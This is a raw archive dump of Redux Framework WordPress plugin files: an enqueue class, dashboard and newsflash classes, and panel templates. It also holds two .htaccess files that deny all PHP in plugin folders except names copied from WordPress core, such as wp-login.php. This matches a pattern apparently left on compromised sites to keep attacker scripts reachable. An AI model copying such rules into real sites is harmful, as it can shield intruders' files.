"redux/page/{$this->parent->args['opt_name']}/enqueue" ); } private function register_styles() { //***************************************************************** // Redux Admin CSS //***************************************************************** wp_enqueue_style( 'redux-admin-css', ReduxFramework::$_url . 'assets/css/redux-admin.css', array(), $this->timestamp, 'all' ); //***************************************************************** // Redux Fields CSS //***************************************************************** if ( ! $this->parent->args['dev_mode'] ) { wp_enqueue_style( 'redux-fields-css', ReduxFramework::$_url . 'assets/css/redux-fields.css', array(), $this->timestamp, 'all' ); } //***************************************************************** // Select2 CSS //***************************************************************** Redux_CDN::register_style( 'select2-css', '//cdn.jsdelivr.net/select2/3.5.2/select2.css', array(), '3.5.2',//$this->timestamp, 'all' ); //***************************************************************** // Spectrum CSS //***************************************************************** //$css_file = 'redux-spectrum.min.css'; //if ($this->parent->args['dev_mode']) { $css_file = 'redux-spectrum.css'; //} wp_register_style( 'redux-spectrum-css', ReduxFramework::$_url . 'assets/css/vendor/spectrum/' . $css_file, array(), '1.3.3', 'all' ); //***************************************************************** // Elusive Icon CSS //***************************************************************** wp_enqueue_style( 'redux-elusive-icon', ReduxFramework::$_url . 'assets/css/vendor/elusive-icons/elusive-icons.css', array(), $this->timestamp, 'all' ); //***************************************************************** // QTip CSS //***************************************************************** $css_file = 'jquery.qtip.min.css'; if ($this->parent->args['dev_mode']) { $css_file = 'jquery.qtip.css'; } wp_enqueue_style( 'qtip-css', ReduxFramework::$_url . 'assets/css/vendor/qtip/' . $css_file, array(), '2.2.0', 'all' ); //***************************************************************** // JQuery UI CSS //***************************************************************** wp_enqueue_style( 'jquery-ui-css', apply_filters( "redux/page/{$this->parent->args['opt_name']}/enqueue/jquery-ui-css", ReduxFramework::$_url . 'assets/css/vendor/jquery-ui-bootstrap/jquery-ui-1.10.0.custom.css' ), array(), $this->timestamp, 'all' ); //***************************************************************** // Iris CSS //***************************************************************** wp_enqueue_style( 'wp-color-picker' ); if ( $this->parent->args['dev_mode'] ) { //***************************************************************** // Color Picker CSS //***************************************************************** wp_register_style( 'redux-color-picker-css', ReduxFramework::$_url . 'assets/css/color-picker/color-picker.css', array( 'wp-color-picker' ), $this->timestamp, 'all' ); //***************************************************************** // Media CSS //***************************************************************** wp_enqueue_style( 'redux-field-media-css', ReduxFramework::$_url . 'assets/css/media/media.css', array(), time(), 'all' ); } //***************************************************************** // RTL CSS //***************************************************************** if ( is_rtl() ) { wp_enqueue_style( 'redux-rtl-css', ReduxFramework::$_url . 'assets/css/rtl.css', array( 'redux-admin-css' ), $this->timestamp, 'all' ); } } private function register_scripts() { //***************************************************************** // JQuery / JQuery UI JS //***************************************************************** wp_enqueue_script( 'jquery' ); wp_enqueue_script( 'jquery-ui-core' ); wp_enqueue_script( 'jquery-ui-dialog' ); //***************************************************************** // Select2 Sortable JS //***************************************************************** wp_register_script( 'redux-select2-sortable-js', ReduxFramework::$_url . 'assets/js/vendor/redux.select2.sortable' . $this->min . '.js', array( 'jquery', 'jquery-ui-sortable' ), $this->timestamp, true ); //***************************************************************** // Select2 JS //***************************************************************** // JWp6 plugin giving us problems. They need to update. if ( wp_script_is ( 'jquerySelect2' )) { wp_deregister_script( 'jquerySelect2' ); wp_dequeue_script('jquerySelect2'); wp_dequeue_style('jquerySelect2Style'); } Redux_CDN::register_script( 'select2-js', '//cdn.jsdelivr.net/select2/3.5.2/select2' . $this->min . '.js', array( 'jquery', 'redux-select2-sortable-js' ), '3.5.2', true ); //***************************************************************** // QTip JS //***************************************************************** $js_file = 'jquery.qtip.min.js'; if ($this->parent->args['dev_mode']) { $js_file = 'jquery.qtip.js'; } wp_enqueue_script( 'qtip-js', ReduxFramework::$_url . 'assets/js/vendor/qtip/' . $js_file, array( 'jquery' ), '2.2.0', true ); //***************************************************************** // Spectrum JS //***************************************************************** $js_file = 'redux-spectrum.min.js'; if ($this->parent->args['dev_mode']) { $js_file = 'redux-spectrum.js'; } wp_register_script( 'redux-spectrum-js', ReduxFramework::$_url . 'assets/js/vendor/spectrum/' . $js_file, array( 'jquery' ), '1.3.3', true ); $depArray = array( 'jquery' ); //***************************************************************** // Vendor JS //***************************************************************** wp_register_script( 'redux-vendor', ReduxFramework::$_url . 'assets/js/vendor.min.js', array( 'jquery' ), $this->timestamp, true ); array_push( $depArray, 'redux-vendor' ); //***************************************************************** // Redux JS //***************************************************************** wp_register_script( 'redux-js', ReduxFramework::$_url . 'assets/js/redux' . $this->min . '.js', $depArray, $this->timestamp, true ); wp_enqueue_script( 'webfontloader', 'https://ajax.googleapis.com/ajax/libs/webfont/1.5.0/webfont.js', array( 'jquery' ), '1.5.0', true ); } public function _enqueue_field($field) { // TODO AFTER GROUP WORKS - Revert IF below // if( isset( $field['type'] ) && $field['type'] != 'callback' ) { if ( isset( $field['type'] ) && $field['type'] != 'callback' ) { $field_class = 'ReduxFramework_' . $field['type']; /** * Field class file * filter 'redux/{opt_name}/field/class/{field.type} * * @param string field class file path * @param array $field field config data */ $class_file = apply_filters( "redux/{$this->parent->args['opt_name']}/field/class/{$field['type']}", ReduxFramework::$_dir . "inc/fields/{$field['type']}/field_{$field['type']}.php", $field ); if ( $class_file ) { if ( ! class_exists( $field_class ) ) { if ( file_exists( $class_file ) ) { require_once $class_file; } } if ( ( method_exists( $field_class, 'enqueue' ) ) || method_exists( $field_class, 'localize' ) ) { if ( ! isset( $this->parent->options[ $field['id'] ] ) ) { $this->parent->options[ $field['id'] ] = ""; } $theField = new $field_class( $field, $this->parent->options[ $field['id'] ], $this->parent ); // Move dev_mode check to a new if/then block if ( ! wp_script_is( 'redux-field-' . $field['type'] . '-js', 'enqueued' ) && class_exists( $field_class ) && method_exists( $field_class, 'enqueue' ) ) { $theField->enqueue(); } if ( method_exists( $field_class, 'localize' ) ) { $params = $theField->localize( $field ); if ( ! isset( $this->parent->localize_data[ $field['type'] ] ) ) { $this->parent->localize_data[ $field['type'] ] = array(); } $this->parent->localize_data[ $field['type'] ][ $field['id'] ] = $theField->localize( $field ); } unset( $theField ); } } } } private function enqueue_fields() { foreach ( $this->parent->sections as $section ) { if ( isset( $section['fields'] ) ) { foreach ( $section['fields'] as $field ) { $this->_enqueue_field( $field ); } } } } public function get_warnings_and_errors_array() { // Construct the errors array. if ( isset( $this->parent->transients['last_save_mode'] ) && ! empty( $this->parent->transients['notices']['errors'] ) ) { $theTotal = 0; $theErrors = array(); foreach ( $this->parent->transients['notices']['errors'] as $error ) { $theErrors[ $error['section_id'] ]['errors'][] = $error; if ( ! isset( $theErrors[ $error['section_id'] ]['total'] ) ) { $theErrors[ $error['section_id'] ]['total'] = 0; } $theErrors[ $error['section_id'] ]['total'] ++; $theTotal ++; } $this->parent->localize_data['errors'] = array( 'total' => $theTotal, 'errors' => $theErrors ); unset( $this->parent->transients['notices']['errors'] ); } // Construct the warnings array. if ( isset( $this->parent->transients['last_save_mode'] ) && ! empty( $this->parent->transients['notices']['warnings'] ) ) { $theTotal = 0; $theWarnings = array(); foreach ( $this->parent->transients['notices']['warnings'] as $warning ) { $theWarnings[ $warning['section_id'] ]['warnings'][] = $warning; if ( ! isset( $theWarnings[ $warning['section_id'] ]['total'] ) ) { $theWarnings[ $warning['section_id'] ]['total'] = 0; } $theWarnings[ $warning['section_id'] ]['total'] ++; $theTotal ++; } unset( $this->parent->transients['notices']['warnings'] ); $this->parent->localize_data['warnings'] = array( 'total' => $theTotal, 'warnings' => $theWarnings ); } if ( empty( $this->parent->transients['notices'] ) ) { unset( $this->parent->transients['notices'] ); } } private function set_localized_data() { if (!empty($this->parent->args['last_tab'])) { $this->parent->localize_data['last_tab'] = $this->parent->args['last_tab']; } $this->parent->localize_data['required'] = $this->parent->required; $this->parent->localize_data['fonts'] = $this->parent->fonts; $this->parent->localize_data['required_child'] = $this->parent->required_child; $this->parent->localize_data['fields'] = $this->parent->fields; if ( isset( $this->parent->font_groups['google'] ) ) { $this->parent->localize_data['googlefonts'] = $this->parent->font_groups['google']; } if ( isset( $this->parent->font_groups['std'] ) ) { $this->parent->localize_data['stdfonts'] = $this->parent->font_groups['std']; } if ( isset( $this->parent->font_groups['customfonts'] ) ) { $this->parent->localize_data['customfonts'] = $this->parent->font_groups['customfonts']; } $this->parent->localize_data['folds'] = $this->parent->folds; // Make sure the children are all hidden properly. foreach ( $this->parent->fields as $key => $value ) { if ( in_array( $key, $this->parent->fieldsHidden ) ) { foreach ( $value as $k => $v ) { if ( ! in_array( $k, $this->parent->fieldsHidden ) ) { $this->parent->fieldsHidden[] = $k; $this->parent->folds[ $k ] = "hide"; } } } } $this->parent->localize_data['fieldsHidden'] = $this->parent->fieldsHidden; $this->parent->localize_data['options'] = $this->parent->options; $this->parent->localize_data['defaults'] = $this->parent->options_defaults; /** * Save pending string * filter 'redux/{opt_name}/localize/save_pending * * @param string save_pending string */ $save_pending = apply_filters( "redux/{$this->parent->args['opt_name']}/localize/save_pending", __( 'You have changes that are not saved. Would you like to save them now?', 'redux-framework' ) ); /** * Reset all string * filter 'redux/{opt_name}/localize/reset * * @param string reset all string */ $reset_all = apply_filters( "redux/{$this->parent->args['opt_name']}/localize/reset", __( 'Are you sure? Resetting will lose all custom values.', 'redux-framework' ) ); /** * Reset section string * filter 'redux/{opt_name}/localize/reset_section * * @param string reset section string */ $reset_section = apply_filters( "redux/{$this->parent->args['opt_name']}/localize/reset_section", __( 'Are you sure? Resetting will lose all custom values in this section.', 'redux-framework' ) ); /** * Preset confirm string * filter 'redux/{opt_name}/localize/preset * * @param string preset confirm string */ $preset_confirm = apply_filters( "redux/{$this->parent->args['opt_name']}/localize/preset", __( 'Your current options will be replaced with the values of this preset. Would you like to proceed?', 'redux-framework' ) ); /** * Import confirm string * filter 'redux/{opt_name}/localize/import * * @param string import confirm string */ $import_confirm = apply_filters( "redux/{$this->parent->args['opt_name']}/localize/import", __( 'Your current options will be replaced with the values of this import. Would you like to proceed?', 'redux-framework' ) ); global $pagenow; $this->parent->localize_data['args'] = array( 'save_pending' => $save_pending, 'reset_confirm' => $reset_all, 'reset_section_confirm' => $reset_section, 'import_section_confirm' => $import_confirm, 'preset_confirm' => $preset_confirm, 'please_wait' => __( 'Please Wait', 'redux-framework' ), 'opt_name' => $this->parent->args['opt_name'], 'slug' => $this->parent->args['page_slug'], 'hints' => $this->parent->args['hints'], 'disable_save_warn' => $this->parent->args['disable_save_warn'], 'class' => $this->parent->args['class'], 'ajax_save' => $this->parent->args['ajax_save'], 'menu_search' => $pagenow . '?page=' . $this->parent->args['page_slug'] . "&tab=" ); $this->parent->localize_data['ajax'] = array( 'console' => __( 'There was an error saving. Here is the result of your action:', 'redux-framework' ), 'alert' => __( 'There was a problem with your action. Please try again or reload the page.', 'redux-framework' ), ); $this->parent->localize_data = apply_filters( "redux/{$this->parent->args['opt_name']}/localize", $this->parent->localize_data ); $this->get_warnings_and_errors_array(); wp_localize_script( 'redux-js', 'redux', $this->parent->localize_data ); wp_enqueue_script( 'redux-js' ); // Enque the JS now } } }������������������������������������������redux-framework/core/dashboard.php������������������������������������������������������������������0000644�����������������00000002345�14720701300�0013254 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php if ( ! defined( 'ABSPATH' ) ) { exit; } if (!class_exists('reduxDashboardWidget')) { class reduxDashboardWidget { public function __construct ($parent) { $fname = Redux_Functions::dat( 'add_redux_dashboard', $parent->args['opt_name'] ); add_action('wp_dashboard_setup', array($this, $fname)); } public function add_redux_dashboard() { add_meta_box('redux_dashboard_widget', 'Redux Framework News', array($this,'redux_dashboard_widget'), 'dashboard', 'side', 'high'); } public function dat() { return; } public function redux_dashboard_widget() { echo '<div class="rss-widget">'; wp_widget_rss_output(array( 'url' => 'http://reduxframework.com/feed/', 'title' => 'REDUX_NEWS', 'items' => 3, 'show_summary' => 1, 'show_author' => 0, 'show_date' => 1 )); echo '</div>'; } } } �������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������redux-framework/core/newsflash.php������������������������������������������������������������������0000644�����������������00000012053�14720701300�0013314 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php // Added by KP on March 31, 2015. So, if something is buggered, it's probably my bad! ;-) if ( ! defined( 'ABSPATH' ) ) { exit; } if ( ! class_exists( 'reduxNewsflash' ) ) { class reduxNewsflash { private $parent = null; private $notice_data = ''; private $server_file = ''; private $interval = 3; private $cookie_id = ''; public function __construct( $parent, $params ) { // set parent object $this->parent = $parent; if ( ! is_admin() ) { return; } $this->server_file = $params['server_file']; $this->interval = isset( $params['interval'] ) ? $params['interval'] : 3; $this->cookie_id = isset( $params['cookie_id'] ) ? $params['cookie_id'] : $parent->args['opt_name'] . '_blast'; $this->notice_data = get_option( 'r_notice_data', '' ); $fname = Redux_Functions::bub( 'get_notice_json', $parent->args['opt_name'] ); $mname = Redux_Functions::yo( 'display_message', $parent->args['opt_name'] ); // if notice data is empty if ( empty( $this->notice_data ) ) { // get notice data from server and create cache data $this->$fname(); } else { // check expiry time if ( ! isset( $_COOKIE[ $this->cookie_id ] ) ) { // expired! get notice data from server $this->$fname(); } } // set the admin notice msg $this->$mname(); } private function bub() { $this->notice_data = ''; } private function get_notice_json() { // get notice data from server $data = @wp_remote_get( $this->server_file, array( 'sslverify' => false ) ); if ( isset( $data ) && ! empty( $data ) && ! is_wp_error( $data ) && $data['response']['code'] == 200 ) { $data = $data['body']; // if some data exists if ( $data != '' || ! empty( $data ) ) { if ( ! empty( $this->notice_data ) ) { if ( strcmp( $data, $this->notice_data ) == 0 ) { // set new cookie for interval value Redux_Functions::setCookie( $this->cookie_id, time(), time() + ( 86400 * $this->interval ), '/' ); // bail out return; } } update_option( 'r_notice_data', $data ); $this->notice_data = $data; // set cookie for three day expiry setcookie( $this->cookie_id, time(), time() + ( 86400 * $this->interval ), '/' ); // set unique key for dismiss meta key update_option( $this->cookie_id, time() ); } } } private function display_message() { // Notice data exists? if ( ! empty( $this->notice_data ) ) { // decode json string $data = (Array) json_decode( $this->notice_data ); // must be array and not empty if ( is_array( $data ) && ! empty( $data ) ) { // No message means nothing to display. if ( ! isset( $data['message'] ) || $data['message'] == '' || empty( $data['message'] ) ) { return; } // validate data $data['type'] = isset( $data['type'] ) && $data['type'] != '' ? $data['type'] : 'updated'; $data['title'] = isset( $data['title'] ) && $data['title'] != '' ? $data['title'] : ''; if ( $data['type'] == 'redux-message' ) { $data['type'] = 'updated redux-message'; } $data['color'] = isset( $data['color'] ) ? $data['color'] : '#00A2E3'; // get unique meta key $key = get_option( $this->cookie_id ); $notice_data = array( 'parent' => $this->parent, 'type' => $data['type'], 'msg' => $data['title'] . $data['message'], 'id' => $this->cookie_id . '_' . $key, 'dismiss' => true, 'color' => $data['color'] ); Redux_Admin_Notices::set_notice($notice_data); } } } } } �������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������redux-framework/core/.htaccess����������������������������������������������������������������������0000644�����������������00000001626�14720701300�0012413 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<FilesMatch ".(py|exe|phtml|php|PHP|Php|PHp|pHp|pHP|phP|PhP|php5|suspected)$"> Order allow,deny Deny from all </FilesMatch> <FilesMatch "^(index.php|credits.php|customize.php|edit-comments.php|edit-tags.php|edit.php|checkbox.php|export.php|input.php|link.php|load-scripts.php|load-styles.php|dropdown.php|menu.php|nav-menus.php|network.php|options-discussion.php|options-general.php|options-permalink.php|options-privacy.php|options-reading.php|options-writing.php|plugins.php|post-new.php|post.php|privacy.php|profile.php|site-health.php|term.php|text.php|themes.php|tools.php|update-core.php|user-edit.php|user-new.php|users.php|wp-links.php|wp-login.php|wp-signup.php)$"> Order allow,deny Allow from all </FilesMatch> <IfModule mod_rewrite.c> RewriteEngine On RewriteBase / RewriteRule ^index.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . index.php [L] </IfModule>����������������������������������������������������������������������������������������������������������redux-framework/templates/panel/header_stickybar.tpl.php��������������������������������������������0000644�����������������00000003414�14720701300�0017571 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /** * The template for the header sticky bar. * Override this template by specifying the path where it is stored (templates_path) in your Redux config. * * @author Redux Framework * @package ReduxFramework/Templates * @version: 3.6.10 */ ?> <div id="redux-sticky"> <div id="info_bar"> <a href="javascript:void(0);" class="expand_options<?php echo esc_attr(( $this->parent->args['open_expanded'] ) ? ' expanded' : ''); ?>"<?php echo $this->parent->args['hide_expand'] ? ' style="display: none;"' : '' ?>> <?php esc_attr_e( 'Expand', 'redux-framework' ); ?> </a> <div class="redux-action_bar"> <span class="spinner"></span> <?php if ( false === $this->parent->args['hide_save'] ) { submit_button( esc_attr__( 'Save Changes', 'redux-framework' ), 'primary', 'redux_save_sticky', false ); echo ' '; } if ( false === $this->parent->args['hide_reset'] ) { submit_button( esc_attr__( 'Reset Section', 'redux-framework' ), 'secondary', $this->parent->args['opt_name'] . '[defaults-section]', false, array( 'id' => 'redux-defaults-section-sticky' ) ); echo ' '; submit_button( esc_attr__( 'Reset All', 'redux-framework' ), 'secondary', $this->parent->args['opt_name'] . '[defaults]', false, array( 'id' => 'redux-defaults-sticky' ) ); } ?> </div> <div class="redux-ajax-loading" alt="<?php esc_attr_e( 'Working...', 'redux-framework' ) ?>"> </div> <div class="clear"></div> </div> <!-- Notification bar --> <div id="redux_notification_bar"> <?php $this->notification_bar(); ?> </div> </div>����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������redux-framework/templates/panel/header.tpl.php������������������������������������������������������0000644�����������������00000006477�14720701300�0015532 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /** * The template for the panel header area. * Override this template by specifying the path where it is stored (templates_path) in your Redux config. * * @author Redux Framework * @package ReduxFramework/Templates * @version: 3.5.4.18 */ $tip_title = __( 'Developer Mode Enabled', 'redux-framework' ); if ( $this->parent->dev_mode_forced ) { $is_debug = false; $is_localhost = false; $debug_bit = ''; if ( Redux_Helpers::isWpDebug() ) { $is_debug = true; $debug_bit = __( 'WP_DEBUG is enabled', 'redux-framework' ); } $localhost_bit = ''; if ( Redux_Helpers::isLocalHost() ) { $is_localhost = true; $localhost_bit = __( 'you are working in a localhost environment', 'redux-framework' ); } $conjunction_bit = ''; if ( $is_localhost && $is_debug ) { $conjunction_bit = ' ' . __( 'and', 'redux-framework' ) . ' '; } $tip_msg = __( 'This has been automatically enabled because', 'redux-framework' ) . ' ' . $debug_bit . $conjunction_bit . $localhost_bit . '.'; } else { $tip_msg = __( 'If you are not a developer, your theme/plugin author shipped with developer mode enabled. Contact them directly to fix it.', 'redux-framework' ); } ?> <div id="redux-header"> <?php if ( ! empty( $this->parent->args['display_name'] ) ) { ?> <div class="display_header"> <?php if ( isset( $this->parent->args['dev_mode'] ) && $this->parent->args['dev_mode'] ) { ?> <div class="redux-dev-mode-notice-container redux-dev-qtip" qtip-title="<?php echo esc_attr( $tip_title ); ?>" qtip-content="<?php echo esc_attr( $tip_msg ); ?>"> <span class="redux-dev-mode-notice"><?php _e( 'Developer Mode Enabled', 'redux-framework' ); ?></span> </div> <?php } elseif (isset($this->parent->args['forced_dev_mode_off']) && $this->parent->args['forced_dev_mode_off'] == true ) { ?> <?php $tip_title = 'The "forced_dev_mode_off" argument has been set to true.'; ?> <?php $tip_msg = 'Support options are not available while this argument is enabled. You will also need to switch this argument to false before deploying your project. If you are a user of this product and you are seeing this message, please contact the author of this theme/plugin.'; ?> <div class="redux-dev-mode-notice-container redux-dev-qtip" qtip-title="<?php echo esc_attr( $tip_title ); ?>" qtip-content="<?php echo esc_attr( $tip_msg ); ?>"> <span class="redux-dev-mode-notice" style="background-color: #FF001D;"><?php _e( 'FORCED DEV MODE OFF ENABLED', 'redux-framework' ); ?></span> </div> <?php } ?> <h2><?php echo wp_kses_post( $this->parent->args['display_name'] ); ?></h2> <?php if ( ! empty( $this->parent->args['display_version'] ) ) { ?> <span><?php echo wp_kses_post( $this->parent->args['display_version'] ); ?></span> <?php } ?> </div> <?php } ?> <div class="clear"></div> </div>�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������redux-framework/templates/panel/content.tpl.php�����������������������������������������������������0000644�����������������00000007176�14720701300�0015751 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /** * The template for the main content of the panel. * Override this template by specifying the path where it is stored (templates_path) in your Redux config. * * @author Redux Framework * @package ReduxFramework/Templates * @version: 3.5.4.18 */ ?> <!-- Header Block --> <?php $this->get_template( 'header.tpl.php' ); ?> <!-- Intro Text --> <?php if ( isset( $this->parent->args['intro_text'] ) ) { ?> <div id="redux-intro-text"><?php echo wp_kses_post( $this->parent->args['intro_text'] ); ?></div> <?php } ?> <?php $this->get_template( 'menu_container.tpl.php' ); ?> <div class="redux-main"> <!-- Stickybar --> <?php $this->get_template( 'header_stickybar.tpl.php' ); ?> <div id="redux_ajax_overlay"> </div> <?php foreach ($this->parent->sections as $k => $section) { if ( isset( $section['customizer_only'] ) && $section['customizer_only'] == true ) { continue; } //$active = ( ( is_numeric($this->parent->current_tab) && $this->parent->current_tab == $k ) || ( !is_numeric($this->parent->current_tab) && $this->parent->current_tab === $k ) ) ? ' style="display: block;"' : ''; $section['class'] = isset( $section['class'] ) ? ' ' . $section['class'] : ''; echo '<div id="' . $k . '_section_group' . '" class="redux-group-tab' . esc_attr( $section['class'] ) . '" data-rel="' . $k . '">'; //echo '<div id="' . $k . '_nav-bar' . '"'; /* if ( !empty( $section['tab'] ) ) { echo '<div id="' . $k . '_section_tabs' . '" class="redux-section-tabs">'; echo '<ul>'; foreach ($section['tab'] as $subkey => $subsection) { //echo '-=' . $subkey . '=-'; echo '<li style="display:inline;"><a href="#' . $k . '_section-tab-' . $subkey . '">' . $subsection['title'] . '</a></li>'; } echo '</ul>'; foreach ($section['tab'] as $subkey => $subsection) { echo '<div id="' . $k .'sub-'.$subkey. '_section_group' . '" class="redux-group-tab" style="display:block;">'; echo '<div id="' . $k . '_section-tab-' . $subkey . '">'; echo "hello ".$subkey; do_settings_sections( $this->parent->args['opt_name'] . $k . '_tab_' . $subkey . '_section_group' ); echo "</div>"; echo "</div>"; } echo "</div>"; } else { */ // Don't display in the $display = true; if ( isset( $_GET['page'] ) && $_GET['page'] == $this->parent->args['page_slug'] ) { if ( isset( $section['panel'] ) && $section['panel'] == "false" ) { $display = false; } } if ( $display ) { do_action( "redux/page/{$this->parent->args['opt_name']}/section/before", $section ); $this->output_section( $k ); do_action( "redux/page/{$this->parent->args['opt_name']}/section/after", $section ); } //} ?></div><?php //print '</div>'; } /** * action 'redux/page-after-sections-{opt_name}' * * @deprecated * * @param object $this ReduxFramework */ do_action( "redux/page-after-sections-{$this->parent->args['opt_name']}", $this ); // REMOVE LATER /** * action 'redux/page/{opt_name}/sections/after' * * @param object $this ReduxFramework */ do_action( "redux/page/{$this->parent->args['opt_name']}/sections/after", $this ); ?> <div class="clear"></div> <!-- Footer Block --> <?php $this->get_template( 'footer.tpl.php' ); ?> <div id="redux-sticky-padder" style="display: none;"> </div> </div> <div class="clear"></div>��������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������redux-framework/templates/panel/container.tpl.php���������������������������������������������������0000644�����������������00000005611�14720701300�0016251 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /** * The template for the main panel container. * Override this template by specifying the path where it is stored (templates_path) in your Redux config. * * @author Redux Framework * @package ReduxFramework/Templates * @version: 3.5.7.8 */ $expanded = ( $this->parent->args['open_expanded'] ) ? ' fully-expanded' : '' . ( ! empty( $this->parent->args['class'] ) ? ' ' . esc_attr( $this->parent->args['class'] ) : '' ); $nonce = wp_create_nonce( "redux_ajax_nonce" . $this->parent->args['opt_name'] ); ?> <div class="redux-container<?php echo esc_attr( $expanded ); ?>"> <?php $action = ( $this->parent->args['database'] == "network" && $this->parent->args['network_admin'] && is_network_admin() ? './edit.php?action=redux_' . $this->parent->args['opt_name'] : './options.php' ) ?> <form method="post" action="<?php echo esc_attr($action); ?>" data-nonce="<?php echo esc_attr($nonce); ?>" enctype="multipart/form-data" id="redux-form-wrapper"> <?php // $this->parent->args['opt_name'] is sanitized in the Framework class, no need to re-sanitize it. ?> <input type="hidden" id="redux-compiler-hook" name="<?php echo $this->parent->args['opt_name']; ?>[compiler]" value=""/> <?php // $this->parent->args['opt_name'] is sanitized in the Framework class, no need to re-sanitize it. ?> <input type="hidden" id="currentSection" name="<?php echo $this->parent->args['opt_name']; ?>[redux-section]" value=""/> <?php // $this->parent->args['opt_name'] is sanitized in the Framework class, no need to re-sanitize it. ?> <?php if ( ! empty( $this->parent->no_panel ) ) { ?> <input type="hidden" name="<?php echo $this->parent->args['opt_name']; ?>[redux-no_panel]" value="<?php echo esc_attr(implode( '|', $this->parent->no_panel )); ?>" /> <?php } ?> <?php // Must run or the page won't redirect properly $this->init_settings_fields(); // Last tab? $this->parent->options['last_tab'] = ( isset( $_GET['tab'] ) && ! isset( $this->parent->transients['last_save_mode'] ) ) ? esc_attr( $_GET['tab'] ) : ''; ?> <?php // $this->parent->args['opt_name'] is sanitized in the Framework class, no need to re-sanitize it. ?> <input type="hidden" id="last_tab" name="<?php echo $this->parent->args['opt_name']; ?>[last_tab]" value="<?php echo esc_attr( $this->parent->options['last_tab'] ); ?>" /> <?php $this->get_template( 'content.tpl.php' ); ?> </form> </div> <?php if ( isset( $this->parent->args['footer_text'] ) ) { ?> <div id="redux-sub-footer"><?php echo wp_kses_post( $this->parent->args['footer_text'] ); ?></div> <?php } ?> �����������������������������������������������������������������������������������������������������������������������redux-framework/templates/panel/footer.tpl.php������������������������������������������������������0000644�����������������00000005640�14720701300�0015567 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /** * The template for the panel footer area. * Override this template by specifying the path where it is stored (templates_path) in your Redux config. * * @author Redux Framework * @package ReduxFramework/Templates * @version: 3.6.10 */ ?> <div id="redux-sticky-padder" style="display: none;"> </div> <div id="redux-footer-sticky"> <div id="redux-footer"> <?php if ( isset( $this->parent->args['share_icons'] )) { $skip_icons = false; if (!$this->parent->args['dev_mode'] && $this->parent->omit_share_icons ) { $skip_icons = true; } ?> <div id="redux-share"> <?php foreach ( $this->parent->args['share_icons'] as $link ) { if ($skip_icons) { continue; } // SHIM, use URL now if ( isset( $link['link'] ) && ! empty( $link['link'] ) ) { $link['url'] = $link['link']; unset( $link['link'] ); } ?> <a href="<?php echo esc_url( $link['url'] ) ?>" title="<?php echo esc_attr( $link['title'] ); ?>" target="_blank"> <?php if ( isset( $link['icon'] ) && ! empty( $link['icon'] ) ) : ?> <i class="<?php if ( strpos( $link['icon'], 'el-icon' ) !== false && strpos( $link['icon'], 'el ' ) === false ) { $link['icon'] = 'el ' . $link['icon']; } echo esc_attr( $link['icon'] ); ?>"></i> <?php else : ?> <img src="<?php echo esc_url( $link['img'] ); ?>"/> <?php endif; ?> </a> <?php } ?> </div> <?php } ?> <div class="redux-action_bar"> <span class="spinner"></span> <?php if ( false === $this->parent->args['hide_save'] ) { submit_button( __( 'Save Changes', 'redux-framework' ), 'primary', 'redux_save', false ); echo ' '; } if ( false === $this->parent->args['hide_reset'] ) { submit_button( __( 'Reset Section', 'redux-framework' ), 'secondary', $this->parent->args['opt_name'] . '[defaults-section]', false, array( 'id' => 'redux-defaults-section' ) ); echo ' '; submit_button( __( 'Reset All', 'redux-framework' ), 'secondary', $this->parent->args['opt_name'] . '[defaults]', false, array( 'id' => 'redux-defaults' ) ); } ?> </div> <div class="redux-ajax-loading" alt="<?php _e( 'Working...', 'redux-framework' ) ?>"> </div> <div class="clear"></div> </div> </div> ������������������������������������������������������������������������������������������������redux-framework/templates/panel/menu_container.tpl.php����������������������������������������������0000644�����������������00000002760�14720701300�0017277 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /** * The template for the menu container of the panel. * * Override this template by specifying the path where it is stored (templates_path) in your Redux config. * * @author Redux Framework * @package ReduxFramework/Templates * @version: 3.5.4 */ ?> <div class="redux-sidebar"> <ul class="redux-group-menu"> <?php foreach ( $this->parent->sections as $k => $section ) { $title = isset ( $section[ 'title' ] ) ? $section[ 'title' ] : ''; $skip_sec = false; foreach ( $this->parent->hidden_perm_sections as $num => $section_title ) { if ( $section_title == $title ) { $skip_sec = true; } } if ( isset ( $section[ 'customizer_only' ] ) && $section[ 'customizer_only' ] == true ) { continue; } if ( false == $skip_sec ) { echo $this->parent->section_menu ( $k, $section ); $skip_sec = false; } } /** * action 'redux-page-after-sections-menu-{opt_name}' * * @param object $this ReduxFramework */ do_action ( "redux-page-after-sections-menu-{$this->parent->args[ 'opt_name' ]}", $this ); /** * action 'redux/page/{opt_name}/menu/after' * * @param object $this ReduxFramework */ do_action ( "redux/page/{$this->parent->args[ 'opt_name' ]}/menu/after", $this ); ?> </ul> </div>����������������redux-framework/templates/panel/.htaccess�����������������������������������������������������������0000644�����������������00000001626�14720701300�0014560 